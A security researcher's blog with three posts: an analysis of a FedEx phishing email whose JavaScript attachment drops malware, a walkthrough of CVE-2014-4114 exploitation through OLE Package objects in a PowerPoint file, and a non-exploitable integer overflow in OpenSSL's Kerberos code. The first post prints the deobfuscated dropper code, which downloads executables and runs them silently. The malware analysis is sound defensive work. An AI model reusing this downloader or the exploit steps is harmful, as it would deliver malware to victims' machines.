Wednesday, 10 December 2014

FedEx sent me free parcel... should I sign for karate lessons ?

Yesterday I received a nice looking FedEx email with information about shipment deliver problem. I am not waiting for any shipment and I am always cautious about emails with packaged attachments, so I have started my analysis.

The email looks nearly perfect - it contains FedEx logo, agent name and proper english grammar. The only thing which is suspicious is the source address of the sender:

However, simple SMTP headers analysis disclosed "real" address of the sender, altogether with software used during this phishing campaign:

Right. It seems that the email was sent from IP address (potentially proxy or VPN server) which belongs to HostEurope GmbH:

inetnum: -
remarks:        INFRA-AW
netname:        DE-HE-LVPS-CGN3-NET
descr:          Host Europe GmbH
country:        DE
admin-c:        HER
tech-c:         HER
status:         ASSIGNED PA
mnt-by:         HOSTEUROPE-MNT
source:         RIPE # Filtered

role:           Host Europe Ripehandle
address:        Welserstrasse 14
address:        51149 Koeln
phone:          +49 2203 1045 0
admin-c:        BURN
admin-c:        HONK
admin-c:        JUPP
admin-c:        MATE
admin-c:        METT
admin-c:        MOMO
admin-c:        OUZO
admin-c:        SEPP
admin-c:        WIRR
tech-c:         BURN
tech-c:         HONK
tech-c:         JUPP
tech-c:         MATE
tech-c:         METT
tech-c:         MOMO
tech-c:         OUZO
tech-c:         SEPP
tech-c:         WIRR
nic-hdl:        HER
mnt-by:         HOSTEUROPE-MNT
source:         RIPE # Filtered

% Information related to ''

descr:          DE-HER-178-77-64-SLASH-18
origin:         AS20773
member-of:      AS20773:RS-HOSTEUROPE
mnt-by:         HOSTEUROPE-MNT
source:         RIPE # Filtered

Ok, let's dig into the suspicious attachment itself. The first thing which I noticed is that the archive contains just single JavaScript file:
The payload itself contains lightly obfuscated JavaScript code. The obfuscation algorithm uses functions chain in order to concatenate supplied arguments into the resulting code. This method is simple, yet effective:
define function _N(x) { call _N+1(x + truncated_string1); }
define function _N+1(x) { call _N+2(x + truncated_string2); }
define function _N+2(x) { call _N+3(x + truncated_string3); }
define function _N+166(x) { call _N+167(x + truncated_string166); }
define function _N+167(x) { eval(x); }
To deobfuscate this code I used online javascript deobfuscator/unpacker available at The final code looks like this:
function dl(fr,fn,rn) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+fn; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function() { if (xo.readyState === 4) { var xa = new ActiveXObject("ADODB.Stream");; xa.type = 1; xa.write(xo.ResponseBody); xa.position = 0; xa.saveToFile(fn,2); xa.close(); }; }; try {"GET",fr,false); xo.send(); if (rn > 0) { ws.Run(fn,0,0); }; } catch (er) { }; }; dl("","52240608.exe",1); dl("","37844845.exe",1); dl("","12214282.exe",1);
//info.ActiveXObject WScript.Shell
Now it is much easier to understand what this code does: when the file is downloaded and unpacked it automatically belongs to the Local (My Computer) Zone. In this zone ActiveXObject can be run without any notification to the user (more info here). When a victim executes the file the code downloads and executes a malicious PE executables from host. Let's see who is the owner of this domain and if it was registered currently (indicator that it may be used especially for attacks) or some time ago (potentially pwned).
In order to continue with the analysis I used RobTex - A Swiss Army Knife for Internet Tool (full analysis here). From the analysis:
Zuari Agro Chemicals Ltd. Overview. Zuari is a single-window agricultural solution provider.
The domain was registered on 16-Feb-2005, authoritative nameservers and all the rest are outsourced to external provider (NS, MX, sharedhosting, etc.). My initial assumption that this host was simply pwned seems to be right.

But hey, what about the executables ? I think it is a good time to take a closer look on them! In order to download them from I used curl through VPN connection (simply I don't like to stay in the logs). It is worth to note that only certain UAs have ability to download our malicious executables, since the attacker validates User-Agent strings:

  • curl with default UA string:
  • curl with standard Internet Explorer UA string:

Armored with this knowledge I downloaded all the samples pointed in the original JavaScript file:

Next, I checked scoring of these files on

So, even if these files are no more FUD, they still have relatively low detection rate. Perhaps these files have been used in some current phishing campaign but have not been updated recently. To get more information without actually analysing these files locally (I know that sometimes I am too lazy) I used service which provides web interface to Cuckoo Sandbox.

Ok, we are at the end of part 1 (apologize, but posting blog entries is not my main activity). In part 2 I am going to dissect malware using static and dynamic approach (fans of windbg, Immunity Debugger and IDA Pro are welcome!).

See you soon!

Thursday, 23 October 2014

CVE-2014-4114 analysis


The CVE-2014-4114 vulnerability has his own 5 minutes of fame right now, basically because it was used in last APT campaign against NATO, Poland and Ukraine (documented by iSight). This post describes steps used to analyze the sample (without turning on IDA Pro or windbg ;).

The vulnerability itself is nothing more but a design flaw, which allows one to insert malicious OLE Package Shell Object, resulting in remote code download and execution. The vulnerable code is located inside CPackage::DoVerb function in packager.dll file (more on this later).

File analysis

The analyzed sample (333.pps) is actually an OpenXML document. Wikipedia states that: 
Office Open XML (also informally known as OOXML or OpenXML) is a zippedXML-based file format developed by Microsoft[2] for representingspreadsheetschartspresentations and word processing documents.
File header dump can be used to confirm the file type (50 4b represents a magic value for ZIP archives):

After unzipping the document the following content can be found under ppt/ directory:

Next, by opening the ppt/slides/slide1.xml and analysing its content it is possible to spot references to two OLE objects named Package Shell Object with r:id values rId4 and rId5:

In order to find what oleObjects are referring to more information can be found in another file, ppt/slides/_rels/slide1.xml.rels:

The above files reside in embeddings/ directory:

A hexdump reveals interesting aspects of these two files:

In summary, simply analysis of the sample already provided a bunch of usefull information about the vulnerability location and remote endpoint.

Few words about embedding OLE objects

The question arise: how to embed Package Shell Object into the OpenXML document ?

A Package Shell Object can be created by inserting an OLE object from Insert->Object menu in PowerPoint and then selecting the Package object type:


It seems that .INF files can be located on the remote UNC path and gets executed by InfDefaultInstall.exe silently without any UAC notification. Further analysis showed that other filetypes (i.e. .exe or .bat) creates an alert box.

Exploitation Scenario

In order to execute malicious file on the remote server the exploit needs to: 
  1. copy file from remote content
  2. rename it to .exe and execute using RunOnce
The slide1.inf file contains core part of the exploit:

[RxRename] is used to rename file and [RxStart] is used to add new registry key (and execute slide1.gif.exe immediately).


Microsoft provides patch for this vulnerability, however researchers from Google and McAfee already found method to bypass it using another logic flaw (CVE-2014-6352). More on this a bit later.

Wednesday, 8 January 2014

OpenSSL - a story about some old source code audit

At the beginning there was nothing... Then some clever mind has decided to start the OpenSSL project and this post is the story about a finding in one of the most hilarious code base which I've ever audited. The project has quite a huge list of historical vulnerabilities (more info), like the (in)famous KEY_ARG flaw exploited widely back in 2002/2003 (exploit code). In this post I would like to focus on some vulnerable code, which is - unfortunately - not exploitable. You can ask yourself why I am writing this ? You can try to answer this question by yourself - maybe it is a good idea to write the very first post about this topic or maybe it is a good idea to proof that nearly a textbook-like vulnerabilities still exist in modern software or maybe... I am leaving this to the readers imagination.

The OpenSSL project supports external libraries to provide additional authentication methods. One of them supports the Kerberos protocol (network authentication protocol based on so-called tickets). The vulnerable resides in ssl/ssl_sess.c and is located around line 787:

if (s->kssl_ctx && !s->kssl_ctx->client_princ &&
    session->krb5_client_princ_len > 0) [1]
    s->kssl_ctx->client_princ = (char *)OPENSSL_malloc(session->krb5_client_princ_len + 1); [2]
    memcpy(s->kssl_ctx->client_princ,session->krb5_client_princ, session->krb5_client_princ_len); [3]
    s->kssl_ctx->client_princ[session->krb5_client_princ_len] = '\0'; [4]

It should be clear that this code is vulnerable to integer overflow which leads to heap overflow later.

At [1], basic sanity checks are performed to see if the kssl_ctx is not NULL, and if the client principal was not allocated. Also there is a check to validate if the client principal is larger then 0.

At [2], memory is allocated and the integer overflow occurs. krb5_client_princ_len is defined as unsigned int, thus by delivering UINT_MAX OPENSSL_malloc() tries to allocate UINT_MAX + 1 bytes resulting in the integer overflow.

At [3], memcpy() copies UINT_MAX bytes into very small buffer resulting in the heap overflow.

At [4], NULL byte is placed at the end of the newly copied buffer.

Unfortunately, the condition where session->krb5_client_princ_len can be set to UINT_MAX is not possible because of this simple check located in ssl/s3_srvr.c around line 2622:

size_t len = strlen(kssl_ctx->client_princ);
    s->session->krb5_client_princ_len = len;

Shame. No candies this time.

I reported this issue some time ago, however the OpenSSL development team decided to leave it with no patch.